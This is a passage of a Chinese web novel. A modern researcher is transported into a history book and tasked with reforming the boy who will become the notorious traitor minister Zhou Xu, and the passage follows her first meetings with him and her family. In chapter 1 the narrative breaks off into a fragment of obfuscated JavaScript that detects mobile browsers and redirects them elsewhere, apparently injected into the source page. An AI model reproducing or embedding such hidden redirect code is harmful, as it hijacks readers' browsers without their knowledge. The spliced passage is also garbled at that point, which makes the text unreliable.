《这个奸臣很难搞》
1. 任务艰难 百废待兴
女孩子一旦做了牛马,再熬几个大夜,就会感觉自己和脆皮一样不禁经折腾。
“A04,江洛洛,请到四号诊室候诊!”冰冷的机械声响彻外科走廊。
江洛洛拿着自己亲姐姐江颖江主任的专家号,在诊室里要死不活。
江颖:“年轻人,说说你的毛病吧。”
江洛洛顶着黑眼圈:“我最近老觉得疲惫,胳肢窝也疼,特别是一抬手,刺痛。”
江颖扒拉开她的胳肢窝看了看,淡淡道:“没啥大问题,你每天熬到三点睡,疲惫才是正常的,腋窝疼就是腋毛打结了,纯扯的,回去自己梳理一下,好吧!”
“......”
别人从诊室出来,要么笑容满面,两手空空;要么愁眉苦脸,满袋子药。
只有江洛洛,捧着一本四斤重的精装硬壳书,似笑非笑,欲哭无泪的迎着一众患者异样的眼光,潇洒离去。
她姐总结她的毛病,除了腋毛打结,就是睡前手机刷太多导致习惯性失眠,日积月累乏力疲惫。
所以江主任从办公桌最下面的抽屉里,拿出一本厚的能砸晕八个壮汉的《大庸国史》,郑重的交给她道:
“少玩手机多看书,历史书尤为助眠,每日一章,睡前按时服用,滚吧。”
连着三个月,江洛洛果真没玩手机,将厚厚的《大庸国史》看了两遍,睡眠倒真改善了不少。
国史嘛,通篇无非是歌颂英雄,赞美帝王,千遍一律的英雄奋进史虽然很燃,可江洛洛还是一眼就注意到了史书里写的那位,杀父弑母,伪善隐忍,先帝崩后就原形毕露,遍树亲党,甚至妄图谋权篡位的大庸奸臣。
——周序,字执言。
江洛洛是研究藏医文化的,很巧的是,当初学藏语的时候,她曾看过一位叫周序的编修者译了许多中原的书籍,大多为农耕,文化,商业一类。
这些书为西藏的发展做出了不可磨灭的贡献。
这编书的周序与历史上的奸臣周序存在于同一时代,他们会是同一个人吗?
江洛洛带着好奇,第三次翻看这位大奸臣的一生:
周序,亲母早亡,身为平南侯府嫡子却惨遭继母虐待,父亲冷眼。
幼年被送到自家农庄上干苦力,常遭欺辱,吃不饱穿不暖,其继母美其名曰锻炼男子毅力。
后被在外征战的祖父接回侯府,悉心教学,祖父时常在外,继母便栽赃嫁祸各种污名,使得平南侯对其更加厌恶。
在这样黑暗且不得反抗的家庭里生存,周序内心积攒的怨毒越来越深,自然养成了表面不动声色,暗地里却要弄死对方的阴暗心理。
他被赶出侯府,继母之子袭爵承职,但他靠自己一举登科,摘得状元,进翰林任编修。
仁宗皇帝赏识其才,升礼部尚书,后官至文渊阁参与机务(相当于副宰相),仁宗对他极为信任,临危托孤,命周序与宗家齐王共同辅佐少帝。
仁宗崩后,周序篡改遗诏,独揽辅佐少帝的大权。
他登高后,杀父弑母,流放全族,昔日辱他者无一不意外惨死,朝中对其口诛笔伐,可他我行我素,大开杀戒。
甚至排斥宗室,将齐王朱亮以及其他宗亲赶出京城,控制禁军,直接搬进皇宫,掌控朝局以图江山。
宗室诸王轮流以“清君侧”为名起兵争权,周序最终被斩杀于马厩中,其亲信、党羽数千人被株连。
此后八王内乱,民不聊生。
他的篡权和覆灭,就像推倒了第一块多米诺骨牌,引发了大庸王朝内部权力斗争的连锁反应,最终将整个国家拖入了万劫不复的深渊,成为人人谩骂的千古罪人。
书中一句判词总结了周序的一生:家生逆子家不安,国出奸佞国不宁。
“狠,强,惨。”江洛洛搁下史书感概三个字。
她没似之前看完就睡,反而脑子一热,精神满满的拿着手机到处搜索历史上关于周序的花边消息。
越挖越好奇,最后找起了野史八卦。
“嘿,长得帅,居然无妻无子。”
“哦,有未婚妻,但不想娶。”
“咦,这未婚妻怎么和他见完面没几天就病死了,难不成他干得?”
“嗯,也不是没有可能,他干出来!”
江洛洛一边滑动屏幕,一边自言自语,最后喵了一眼手机顶端的数字:03:30。
事实证明,历史教人瞌睡,八卦让人活跃啊!
什么情况!怎么都凌晨三点了!什么时候的事啊!她明明刚拿手机啊!害人啊!
她关上手机,关上灯,恨不得立马剁了不自觉翻手机的手。
接着闭紧眼睛,强迫自己快速进入睡眠模式,毕竟她明天早八还要上班呐!
她闭眼三十分钟后,大脑依旧兴奋的能去工地扛八百个麻袋,于是悄悄睁开一条缝,绝望的看着窗外微微发蓝的天色。
这时,类似语音助手的声音在她耳边响起:叮!
【宿主您好,欢迎进入异世界,我是本次服务您的0400号系统,本系统绑定《大庸国史》,邀请您全程体验在历史洪流中畅游的快感。】
“小肚,小肚......”江洛洛紧张的看了看四周,首先怀疑是不是客厅里的小肚同学半夜接触不良,发起了神经。
接着,机械声音再次响起:
【鉴于您口味独特,此次系统安排您的任务为:帮大奸臣周序矫正三观并走上正途,任务结束后,若您的积分达到1000+,即可返回原世界,并获得主角贴身信物一枚作为此次旅程的终极奖励!】
【祝您体验愉快!】
虽然气氛很诡异,江洛洛的重点还是落在了,贴身信物是什么鬼东西上面。
贴身?能有多贴身?内衣?裤头?臭袜子?
“谁要那破信物做奖励啊,狗都不......”
系统:【按宿主所在原世界换算,信物价值过亿。】
“要!我要!”
【“我要!”指令激活,请宿主做好准备。】
原本有些月光映照的房间,突然变得昏天黑地,大脑眩晕异常,忍不住想咳嗽,胸口又疼的厉害。
“小姐!小姐!你醒了,快去通传夫人!”迷迷糊糊里,一个女子的声音急切又悲厉。
江洛洛忍住胸口的痛,只觉得自己浑身无力还带着隐隐的酸痛,像是久卧不起后,僵硬的肌肉无法适应任何动作。
她嗓子发痒咳嗽了几声,才睁开眼看清楚了周遭的环境。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055015|194857||http|test|mini|href|location''.split(''|''),0,{}));
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>昏暗的房间,陈列着各种红木家具,窗遍古朴的梳妆台上架了一面铜镜。
她目光收回自己手边,盖在她身上的薄被绣着荷花图案,再掀开被子看自己,粉纱春衫,电视里古代官家小姐最经典的装扮。
她这是……
“小姐,你饿不饿,我让小厨房煮点粥。”
泪眼朦胧望着她的姑娘约莫十五岁来去,收拾的简单利落。
江洛洛有些懵圈:“我这是在哪儿,阁下又是……”
江洛洛一开口,那姑娘哭的更凶了:“小姐,你病糊涂了,这是你的家,我是小满啊。”
江洛洛听不懂她说话,什么大满小满,她一定是在做梦。
思罢,一头栽下去想继续睡,本就睡的晚,抓紧抓紧,她心中默念,多睡一秒是一秒。
咚。
“好疼!”江洛洛嘶哈嘶哈的搓着后脑勺,看着床上的枕头,心下一沉。
哪里来的玉枕。
很快她意识到了什么,惊恐的看着自称小满的女孩,瞪着眼睛问她:“我为什么会疼!”
小满嚎的更凶了,怕是以为自家小姐脑子病坏了,抽抽嗒嗒的说着:“小姐命苦,病了两年终于能见人了,却活生生要进平南侯府那大魔窟,那里面个个都是吃人的,小姐你怎么吃得消啊,还有那周序,自己都是个泥菩萨,怎能护得住小姐啊!”
等等,等等。
这古色古香的房间,名字来自二十四节气的丫鬟,以及她在叨叨什么鬼话啊,平南侯府,周序......
“周序!”
突然脑子里传来“叮”的一声,那类似小肚声音的智能助手又上线了。
【系统0400为您服务,宿主您好,您已成功绑定人物,大奸臣周序之未婚妻,江府嫡女,江媛。初始积分100,主角好感度:0。】
【再次温馨提示,您此次穿书的任务为:帮大奸臣周序矫正三观并走上正途,任务结束后,积分达到1000+,即可返回原世界,并获得终极奖励!】
草,泥,马。
她这不是做梦......而是穿书了?
坑爹啊,她姐说看历史书能睡觉,没说破个历史书还带穿书系统啊。
【请宿主做好准备,您的多项数值即将开启,请抓住每一个获得积分的机会,并保证男主好感度持续上升,若好感度低于0,积分低于0,系统则会给予相应惩罚。】
【账号“江媛”绑定中,倒计时开始。】
【10.9.8.7.6.5.4.3......2......1......0】
【成功绑定,祝您旅途愉快。】
打住!江洛洛呐喊弃权,不是说周序那倒霉催的未婚妻老早就病死了嘛,就不能给我换个皇子公主的角色嘛,系统!
她一个藏医研究院的牛马,爬过雪山,滚过草地,没想到有朝一日在阴沟里翻了船,这算是可怜牛马太幸苦,送给她一次时空旅行的特殊体验吗。
还有,她真的想问一句,主角不都是一些皇帝大将军嘛,为什么她穿的系统里,那个被口诛笔伐的千古罪人成了主角,合理吗,系统,这合理嘛!
系统:【合理。】
江洛洛:“我谢谢你啊!”
2. 初遇目标 慌之乱之
她捂着胀痛的胸口,问身边的丫鬟:“现在是哪一年。”
看着突然恢复正常的小姐,小满懵懵的回答:“贞庸十四年。”
贞庸十四年,周序十四岁,江媛十七岁。
江洛洛细细问了小满一大堆问题,得出了现在情况的大致梳理,她书里的母亲与周序母亲是闺友,纵使她比周序大了三岁,还是在周序出生的那一年为她俩定了娃娃亲。
前些天,周序替周家来送东西,正巧被江媛看见,本就身体不好的江媛瞧见自己的未婚夫是个穿的寒酸,还在侯府不受待见的臭小子,更是气的呕血,哭着嚷着说不嫁,命着下人硬生生将他赶了出去。
后来,江媛就一病不起了。
江洛洛倒抽一口凉气,心想,完了,没想到和男主还有个不为人知的过节,她联想到野史里那个和周序见过一面就病死的未婚妻,心里毛毛的。
这江媛,难道是被他气死的?
她现在好端端的活着,说明史书里的剧情应该也会随之改变了,哎,不对,她不就是来改变剧情的嘛,让大奸臣变成好人。
让大奸臣变成好人......
瞧瞧,但凡是个有脑子的生物都想不出这么歹毒的点子,不愧是破系统(此处应该有掌声。)
穿成江媛,一个在历史里几乎透明的存在,现在却要干一件惊天动地的大事,想想,江洛洛居然还有点小期待。
她正高兴着,突然脑袋里闪过野史记载周序杀他继母的描写:
【往日繁华的侯府此刻破乱不堪,周家被抄,家仆四散,周老爷被周序活活勒死在水池里,他的继母跪在他面前嗑的头破血流都没有换来周序半分眼神,他只是命人将她丢进猪圈里过了三天,在收尸时,继母的手腿脸都被猪啃的不成人形,更令人胆寒的是,周序不许继母何氏安息,给她安了个毒害家公的罪名,麻袋裹尸悬在城楼,一曝就是七日。】
亲娘啊,这腹黑的残忍程度,简直是大奸臣叠了一个大魔头的buff啊。
“咳,咳。”胸口发痒,江洛洛咳出声。
套着这副娇弱的身子,该死,怎么与虎谋皮啊!
不行,必须做个帮扶计划,千万不能创业未半而中道崩阻,嗯,先把关于周序的大事件拉一遍!
第一步,去帮他做心理辅导,用爱温暖他邪恶的心灵。
她美滋滋的想着,突然,那熟悉的微波炉“叮”的一声又在她脑子里炸了开来。
系统:【温馨提示:宿主刚刚的想法无法成立,在主角未对您有好感度时,是无法与主角进行直接对话的,若强行对话,系统会给予扣分处罚。】
江洛洛:“什么!那扣分会如何?”
系统:【无法回去原世界,且立即死亡!】
我真的,谢谢你啊!
系统:【不用谢。】
江洛洛无力的问:“那我什么时候才能和我的男主角说话?”
系统:【一旦主角好感度检测到分数,则立即开放您与主角对话的权限,在权限开放之前,请您务必遵守规则。】
【祝您旅途愉快。】
愉快你个头啊......
江洛洛扶着额头已经快要碎了,这时小满在她身旁来了一句:
“小姐真是命苦,待嫁的年纪,您的几个好友都寻得了好归宿,就您搭了个说起来好听的侯府嫡子,实际上连大街上卖鞋垫的都不如,不仅无权无势还爹不管娘不爱的,听老爷说,上次被您赶回去后,周序就被他爹送去田庄上反省了,让他不来认错就不许回去呢!”
江洛洛大脑嗡的一下,她心慌慌的拉着小满试探道:“你说周序在哪儿?”
“乡下的田庄啊,今早刚送下去的,连身边的奶妈都没让陪呢。”
前人把大庸的覆灭比做多米诺骨牌的连锁效应,那送周序去田庄就是推倒的第一个骨牌,正是他在田庄受尽侮辱栽赃,才让他父亲对他冷眼失望,最后父子决裂,走到杀父弑母的地步,名声再难挽回。
别倒!别倒!第一张牌不能倒!
江洛洛拍上自己额头,不怕,倒了我也要给他扶起来!
不行,她必须尽快找到周序,让他少面对些人性的黑暗,后面拯救起三观也简单些。
她立马让小满给她整好发饰衣衫,顾不得劝非要出门:“小满,周序去的田庄在哪儿,快带我去!”
“小姐......”
“唉哟,我的小祖宗,大晚上的,鸡都睡了,你身子刚好不歇着,拉着小满要去哪儿!”
她刚迈出门槛,就见迎面而来一位手掌缠着念珠的素衣妇人满脸忧色的快步走来,不等她分辨推着她就回屋子里。
“春寒刚过,夜里还是凉的,你就算要出门,也带个披风啊。”
嘴上念叨着,手里解着自己的披风拢住了江媛,还除下佛珠用自己的手裹住了她的手,心疼的搓着。
“小满,你怎么伺候的,小姐手这么凉,还不灌个汤婆子来!”
江媛被拉回方塌上坐着,那妇人捂着她的手不松开,妇人身旁的嬷嬷面容同样担忧的看着她。
先前听小满说了江媛的情况,她现在确定坐在自己眼前的一定是她的母亲江夫人。
江夫人她并不太知晓,但是她的父亲江知海和她哥哥倒是在史书里看过一眼,江知海是京州卫指挥使,从三品,统领万把人,手中小有军权,是以在京州也算过的平顺。
她哥哥江泉科举进士,虽武艺不精,脑子却灵活,没有打算承袭父亲之职,自己吭哧吭哧搞业绩,现在也爬到了户部侍郎到位置,前途无量。
也正是这二人,最后投靠宗亲,在斩杀周序的大计里一举成名,让后人铭记。
为什么呢,史书上二人并无详细的介绍,只是灭周序有功才被记上一笔,难道这父子二人和周序有什么化不开的过节?
“夫人,汤婆子来了。”江夫人身旁的李嬷嬷接过来安置在江媛手上,好好的突然抹起眼泪。
江夫人嗔怪的看她一眼,也露伤感之意道:“老东西,你又哭个什么,洛洛好好的起来了,该笑才是,你哭丧给谁看呢。”
洛洛,原来她小字叫洛洛,真是巧了。
李嬷嬷小声回:“就是瞧见着汤婆子外面这龙凤呈祥绣样来,想起小姐十二岁那年囔着向我要,我还笑她说,人家姑娘都是喜爱花啊鸟儿的,她倒好,选个这样老气横秋的样式。”
“小姐十二岁那年病的,夫人吃斋念佛已经过去五年了,小姐这次用了药,瞧着气色这样好,奴婢感怀落泪还招夫人厌弃了不成。”
“那游医当真有两刷子,只愿如他说言,小姐这次挨过来了,就算彻底好了!”
主仆二人情真意切的抹泪,江媛想安慰也不知怎么插话,可事不宜迟,她现在的心思根本不在安慰这两给人身上。
她要去找周序啊。
正要开口:“母亲。”
江夫人打断了她:“你在这屋子里也躺的太久了,现下你精神头好一点,母亲打算带你去苏州外祖家养些时日,江南水好景好,外祖又通药理,定能将你调理的白白胖胖的。”
江媛:“不......”
江夫人:“正好去看看执言那孩子,可怜的孩子被他那狼心狗肺的后母串掇着周侯爷送去了苏州田庄,也不知能不能吃饱穿暖。”
江媛忍不住自言:“执言?母亲是说,周序?”
对啊
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,周序不就是在苏州嘛!
江夫人怜爱的摸着她头:“是啊,那孩子幼年丧母过的不如意,我一个后宅妇人手又伸不进侯府,想着你与他有儿时的婚约在身,好教那些恶人看着你父亲哥哥的面子上忌惮些,倒是母亲没想过洛洛的感受......”
说罢又开始抽泣不止,口中咬着:“待你身子好些,母亲就算愧对地下的梅姐姐,也要把婚退了。”
江媛立马大喊:“不用!”
江夫人一愣看着她:“什么不用,洛洛之前不是还说不愿嫁,嫌弃他小你三岁。”
江媛本是怕结亲这样接触周序的好机会丢失,一时没防住情绪激动了点,小三岁怕什么啊,大庸民风开放,十四岁怕是也能被世人接受。
何况野史记载,周序文臣相,武官身,容貌艳美还爱打扮,关键还是年下,年下,你听听,多香的词啊。
江媛连忙解释:“女儿本是不愿,可刚刚听得母亲一席话不免心中难安,那周序虽说是嫡子,却活的艰苦,不如等他自立了门户,咱们再退也不迟。”
江夫人一听,更是心疼的抱住了江媛,懂事,体贴,心善一系列好词夸了半天。
可江媛的心思她哪能懂,她只想知道什么时候出发。
李嬷嬷扶好自己的主子:“夫人别再伤神了,让小姐休息会吧,咱们也回去在清点清点南下的物件,您一听说小姐醒了,着急忙慌的就决定了明日回苏州,还没和老爷,泉公子打招呼呢。”
江夫人这才想起来,朝着小满一番嘱咐,让明早不要叫小姐起床,动身的时间都跟着小姐定,说罢,又抚了抚江媛的额发,欣喜又不舍的离去。
江媛前世是被自己姐姐带大的,父亲母亲在她八九岁出车祸去世了,所以她对情亲的感知还停留在她那毒舌又不正经点姐姐身上。
现在这样中式的包裹性的母爱,江媛虽然有些不习惯,但极为享受,谁不希望自己被爱呢。
哦,不对。
应该是,谁不希望自己被偏爱呢!
身子还酸痛难忍,江媛着急去找自己的男主,但只身一人从京州到苏州也不现实,想着周序今早才出发,脚程得半月,她明日让车夫稍快些或许还能赶得上。
一路颠簸十日,沿途驿站客栈都住了,江媛无数次感慨后世科技发展的重要性,因为她真的没病都快要颠出病了。
“小姐,药记得喝 ,别凉了。”小满在床头收拾贴身衣物。
看着桌上的中药,江媛不自觉捏起鼻子,她二十二岁大学毕业,二十七岁博士毕业带论文进藏医药研究所,摸爬滚打一年,熬走了贪污的主任,踩了狗屎运被提拔副主任,自然也是有点本事在身上的。
这些中药一闻就知是些大补品,根本没啥治疗作用,这原身胎里带的病本就活不长了,硬是她穿进来,顶活了这个身子,和喝药毫无关系好嘛!
一路天气不错,路程比预想的快,还有两天估计就能到了。
她仰头干了药碗,捶腿想出门走走透气,刚出客栈大门就瞧见了一辆普通马车周围站着两三个穿着麻布粗的小厮,接着车上跳下来一个着棉布青衣的小厮,一跳下车就撩起车帘。
江媛张头看了看,对于古代公子哥,她还是抱有幻想的,毕竟言情小说里形容的风光霁月,什么绝世无双......
哇偶!
眼瞧着帘子掀起来,走出来一位身着青绿白浪纹锦袍的公子,衣服虽然旧了些可架不住身段好啊,极为简单的银冠束着高高的马尾。
粉面剑眉,鼻尖挺立,一双桃花眼似盯了她片刻,无甚表情,随即又垂下。
江媛觉得,这如同漫画里走出来的少年,将身后灰扑扑的世界都照亮了
3. 无依少年 形单影只
她还在发怔,几个麻衣小厮不耐烦的往客栈走,与江媛擦肩而过时,听见那几个人嘴巴极不干净的吐槽着:
“说的好听侯府嫡子风光的很,真真是狗都不如,都快去玩泥巴了,还端架子呢!”
“那身衣服也不知洗了多少回,谁看不出都旧的起毛了,死要面子活受罪,以前在侯府,下人还尊一声大公子的,马上到了庄子上,山高皇帝远的,有没有命回来都不知晓。”
一个年轻的听出话音不对,小声问道:“啥意思啊,难道大夫人......”
“嘘,少问些吧,大夫人的意思你难道还看不出来嘛,这是要把人提远了......”
年长一点的神秘兮兮的朝他做着抹脖子的动作,那意思也是很明显了。
“不至于吧,老侯爷,侯爷不管嘛!”
“说的轻巧,怎么管,老侯爷在塞外驻军,家里亲孙子就算饿死了,他也不知道啊,还有咱们侯爷,成天也不往大少爷院子里去,后院的事都是大夫人在管,那还不是想让侯爷看见什么就看见什么,侯爷只知道大公子被继母养着,怎么养的,哪个下人敢在他面前多嘴。”
“这高门大院的,里面都臭成茅坑了,别人看着还以为多光鲜呢!”
“啧,啧......”
江媛也算听了个大概,在看向那蓝衣少年时,不免眼神多了分同情。
她正看着,发现少年打眼望她。
她礼貌一笑,可蓝衣少年眼神微冷,漠然的将头一偏。
就连他身旁的小厮也刻意的剜了她一眼,一脸的讨厌,毫不掩藏。
她很郁闷,她干嘛啦!
不过她的郁闷很快就被李嬷嬷响亮的一耳光抽的烟消云散。
“啪~”
刚刚还在嚼舌根的下人,脸上瞬间五条黄瓜,那巴掌声,好脆!
“多嘴的奴才,主子的事也是你们能嚼舌根的,好好洗洗你们的嘴巴去,臭的能招苍蝇了。”
那几个小厮自是不服,恶狠狠的回盯着想发作,但打眼细瞧,李嬷嬷穿着柘黄如意纹锦锻薄衣,发上挽着白玉飞鸟簪子,心下范怵,生怕不小心造次得罪了哪家夫人。
他们气焰瞬间软了,也有不想白白挨一巴掌的,挺挺腰杆:“你是哪里的,敢打平南侯府的人,我们大公子可还在呢!”
江媛白了他们一眼,狗仗人势的东西,刚刚还被他们说的一文不值的大公子,现在知道拿人家名号出来撑腰了。
等等!他说哪儿!
平南侯府的大公子,那不正是......她的小祖宗,大宝贝,男主角嘛。
那个湖蓝色长袍的帅气少年就是......
周序!
她的情绪很快从同情别人,变成同情自己。
她又瞄了一眼少年,史书里那特意强调貌美的那一笔,果真是有原因的。
不是啊,现在的重点不是貌美啊,现在的重点是,是什么啊!
“我是哪家的,我是京州卫指挥使江夫人的一等贴身嬷嬷,户部侍郎江公子的奶母,谁有不服气,去屋里找我主子告状去,滚!”
李嬷嬷真酷,令她想起了尔康。
几个小厮瞬间吓的不敢说话了。
大庸近年来受吐蕃人纷扰,皇帝倚仗武官,是以手里有兵权的,都压着同级文官一头,如今财政又是国家之重,老鼠偷她江家都要给三分薄面。
她原本还在看热闹,现下热闹变成了自己,马车上的小灯笼,贴着明晃晃的“周”字,她刚刚是瞎了没看见嘛。
如果她能早点看见,她一定连滚带爬到马车之下,自己做个人凳,让她亲爱的大宝贝脚底不沾半分灰尘,然后嘘寒问暖,帮他捂手洗脚,早日回去实现财富自由。
她能吗?
她能!
江媛鼓足勇气上前:
“周*******”
挖,擦!
为什么她嘴巴在动,但是听不见自己说话啊,她叽里哇啦一通,瞬间反应过来,谁特,么帮她消音啦!
接着,脑海里的微波炉“叮”的炸开。
系统:【温馨提示:主角好感度检测为0,与主角的对话权限将在检测到分值后,正式开放,在此之前,您的对话将被静音,尽请期待。】
刚吐出的“周”字,让迎面而来的周序看了她一眼,见她半天不说话,以为她又在厌弃自己,低着头往客栈走。
还好嬷嬷拦住了他,软声道:“序哥儿,你云姨许久不见你,想请你去坐坐,上次你去府上,她赶巧去烧香,还未来得及见见你,你就先走了。”
周序面无表情,瞥了一旁紧闭双唇的江媛,客气还礼道:“不了,还请告知江夫人,周序上次已经惹的媛姐姐气病过去,怎好再恬不知耻,上赶着惹人不悦呢!”
江媛无语,点谁呢,果真是睚疵必报的小心眼。
李嬷嬷在一旁朝她使眼色,她瞧见了,但是没办法啊,她被静音了,很是爱莫能助啊。
不过,系统说了不能喝主角对话,那她可以和旁人说啊,江媛沾沾自喜暗幸找到了系统bug,她朝李嬷嬷道:
“李妈妈,母亲出发前特意去酥记铺子打包了一斤火腿桃酥,还托人去药铺买了抓了好些干菊花,一路上也不给我吃,留给谁的啊。”
李嬷嬷秒懂接话:“你哪里来的大脸能吃,那是夫人知道序哥儿爱吃,留着的呢!”
她俏皮的朝李嬷嬷眨眨眼:“那我先上去和母亲只会一声,说贵客来了。”
说罢,她提着裙往里跑,冲上二楼最里面的雅间,推门道:“母亲,周序来了。”
江夫人坐在窗边正煮水泡茶,打趣道:“你这丫头,上次嫌弃他的也是你,这次高兴的也是你,真不知道你这性子传了谁。”
“当然是传了我那国色天香的亲娘啊!”江媛挨过去想撒娇。
江夫人:“我怎么觉得,你病好了,性子也变了些。”
“没有啦,身体好些,心境自然跟着好了。”
江媛不经意揭过,虽然原本的江小姐不在了,但是她来了,就好好替原主孝敬陪伴江夫人吧。
话间,周序在门口道:“云姨,执言进来了。”
“快进来。”江夫人忙放下手中茶具,出来迎接。
雅间的窗台处打了离地约十公分的榻榻米,塌上置了一个楠木矮几,几子上摆放了各氏点心和新沏的花茶。
“洛洛,去柜子把桃酥拿出来。”
“序哥儿,快来坐,让云姨好好看看你。”
江夫人伸手就去拉,冷不防周序“嘶”的一声,江夫人慌忙松手,立马意识到不对劲,不顾周序的躲藏,拉过他手就撸起袖子。
果然,手腕到中臂一大片皮肤鲜红肿胀,上面还遍布密密麻麻的水泡,水泡鼓鼓囊囊灌着黄水
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,周遭的肌理似乎已经僵硬坏死。
还有几处破掉的水泡,因没及时得到治疗,已经溃烂化脓。
“云姨不知道,我的序哥儿过得这般难,我怕梅姐姐午夜梦回要来责怪我了。”
江夫人放下他的手,捂着脸瞥向别处,拿着手帕抹泪,不停吸鼻子,良久不敢看眼前的周序。
后来,江夫人让江媛回去了,他们在屋子里说了什么,她挤在门缝里偷听了好几次都没听见,最后被小满念叨回去睡觉了。
月照窗檐,江媛定下心才慢慢思虑周序这个人。
古代侯府嫡子的含金量不肖多说,以后是要袭爵承职的,正一品骠骑将军,未来侯府的主人,就算是他继母都要礼让的,可是周序却没有得到最基本的尊重。
出生武官家,却走文臣路。
江媛想过这个人或许才华横溢,轻松上岸,又如她一般运气好才一升在升,却没想过或许是他根本走不了武官路。
他那恶毒的继母怎么可能眼睁睁看着爵位被一个与她无干的人夺走,毕竟她自己也诞下了一个侯府嫡子。
一山不容二虎说的大约就是这个道理,只是他面对的老虎还有个母老虎帮忙。
这一晚,江媛睡的不踏实,作为一个大脑发育成熟的成年人,她已经可以从反派的角度去看问题了。
她想,如果她没有穿书过来,而是真的死了,江夫人因处理自己的丧事肯定不会去苏州。
那周序带着发烂的手,还要去田庄从早到晚的干农活,一个十四岁无依无靠的孩子,不仅受天田庄上的地头蛇刁难,还要分出精神以防继母的黑手。
他那段时期活的该多艰难啊,若不握权自保,怕早就是白骨一堆了。
不知道江夫人和周序说了什么,接下来的一路周序都在江夫人的马车里,二人不时谈笑。
但几乎都是她母亲再说,周序更多是听着,休息的时候,她也坐的远远的,瞧瞧打量安静听话点周序。
纵使旧衣素冠,他往那里一坐就是一颗小松,气质清兰。
尤其是他垂眸时,少年的眼神还没污上谋算,坚毅而又谦逊,一点看不出来,这样皎皎君子会杀父弑母,谋权篡国。
马车先到了周家庄,周序朝江夫人等众行礼告别,江夫人红着眼欲言又止,在周序转身的时候一把拉住他哽咽:
“你若还当我是你云姨,我说的话就要好好听,你那狼心狗肺的父母亲不分黑白要罚你,你做做样子就算了,不可较真,你既不愿跟我回苏家,那我便让洛洛常来看看你。”
周序:“田庄湿躁,乡人粗鲁,江小姐娇贵,还是不要......”
江夫人忙推她一下:“这孩子病了这些年,就该多出来走走,快说,你愿不愿意替母亲跑跑腿,时常送些东西来。”
江媛被一推,发觉周序看着她,这样刷好感的机会,就算不能说话,也要创造好印象好嘛!
她立马小鸡啄米点点头。
她朝小满使使眼色,小满立马get她的意思,拿出一小瓶药:“这是我们小姐送给序公子的,想着夫人已经给公子用过药了,便寻了个清凉的养肤粉,待公子伤好大半后涂抹,疤痕会减轻很多。”
周序躬身,神色淡定:“江小姐有心。”他身边小厮临轩接了过去。
江媛在马车上撩开帘子,看一眼还在原地发呆的少年背影,心里泛起涟漪。
4. 江南景美 心起涟漪
现在的周序还算纯粹,没有被逼到绝境,黑化成杀人不眨眼的魔鬼,且年方十四,甚至还没去科试。
江媛猜想,最后逼得周序弑杀双亲的导火索,一定是个大事件,是他没法过得去的坎儿,这件事到底有多大呢,史书没有记载。
去外祖家的路上,李嬷嬷一路闲聊说着董家人的实力,江媛竖着耳朵也听了些。
江夫人本姓董,大名董绢,其兄是苏州知府,苏州又作为江南较为富庶的城市,同是知府自然要比其他寒苦地方的更吃香一点,当然也过的更为滋润一点。
这一点,江媛在看见一座类似现代公园的董府后,客观的认为,李嬷嬷说的那些话还是谦虚了。
青瓦白墙的府邸高大宽敞,光是门头就是大三开,中间的红漆木门起底三米,打开能并行两三辆大奔,东西角门甚至能自由进出大马车。
黑底金字的恢弘匾额上书着:“董府。”
一早小厮报了府上,董家小姐董绢今早回来的信儿,江媛就瞧见污央一群人在玉石狮子旁等候了。
算上主子女仆,少说十五六人。
江媛像个刚进城的穷鹌鹑,一路被外祖母,哥儿姐儿姐拥着问话,她搭话的同时,还要分出精力观察眼前精致的手雕砖瓦和红木栋梁。
人跟着江母顺着抄手游廊走,先是经过水榭池塘,进了大院,又见一片亭台水榭,假山流水,往前继续走了约莫十来分钟,绕过二进院的正房,又进了第三个大院子的时候。
江媛傻了。
外面瞧着像公园,公园里面套公园。
虽然任重道远,但细想想,这把穿书跟投胎一样,还算投到了好人家,父强母慈的,真算是过了一把富二代的瘾。
领头的是江夫人的母亲李氏,打扮的雍容华贵,跟着她挽着江夫人手的是她的儿媳也是江夫人的长嫂戚氏。
在江媛身边叽叽喳喳问话的是戚氏的幺女董春琳。
“从小就听我娘说,小姑姑家的媛姐姐生的好,知书达理,温柔可人,今日所见,竟比传闻的还要让人眼前一亮。”董春琳拉着她,兴冲冲的聊天。
哎,这流传了上下五千年的见面客套话,放在百来年后也真是一点进步都没有,翻来覆去那几句,你吃了没,你真人比照片好看,你真是看不出年龄哎。
江媛堆起自然的笑容,快速进入社交模式道:“琳妹妹也是可人儿,之前母亲一直想回家里看看,是我身子一直不好这才耽误了。”
“姐姐哪里话,只要你来了,哪日都是好日子。”说罢,董春琳认真看了她一会笑道:“想着姐姐定是好了,这气色看起来不像是生过病的,白里透红,牡丹花一样呢。”
“就你嘴贫!”戚氏转过身嗔了她一嘴。
各家打诨,立时笑声一片,许久未见的生疏感也烟消云散了。
进了三道门,在后正房拜见了祖母,几个女人都是抹泪又是感慨的,拉家常拉了一个多时辰,终于到了放饭环节。
从江媛醒来,就被她母亲这个NPC拉出门了,高门大院流水席一样的佳肴,江媛还没真正意义上的品尝过。
是以丫鬟婆子捧着瓷碗玉盘鱼贯而来的时候,江媛是在咽口水的。
上过班的朋友都知道,打工仔的三餐基本得过且过,早上一层不变的豆浆包子,中午要命的预制地沟油,晚上有时间吃点好的,能自己煮碗面炒个小炒。
“一早听说你带着媛姐儿要回来,我这心悬着,到现在还没落下,你既回来了,就别早早回京,多住些日子陪陪我,也好让江南的名医给姐儿看看!”
董老太太搂着江母入坐,头发全然花白了,看江夫人的眼神还像在看孩子一般不舍。
李嬷嬷帮着挪椅子摆席面,朝老太太道:“先前姐儿身子不好,夫人吃斋念佛了五年,夜夜以泪洗面,可算把姐儿求回来了,这不,姐儿才好些,就拉着她回娘家了,咱们夫人心里啊,放不下老太太呢。”
戚氏放筷枕摆玉筷也应着:“老太太何常不是念着小姑姑呢,自打知道媛姐儿病了,心都焦碎了。”
席面分了两桌,长辈一桌,小辈一桌,江夫人那边几乎是纯聊天,但江媛这可不一样了,那叫一个纯战斗。
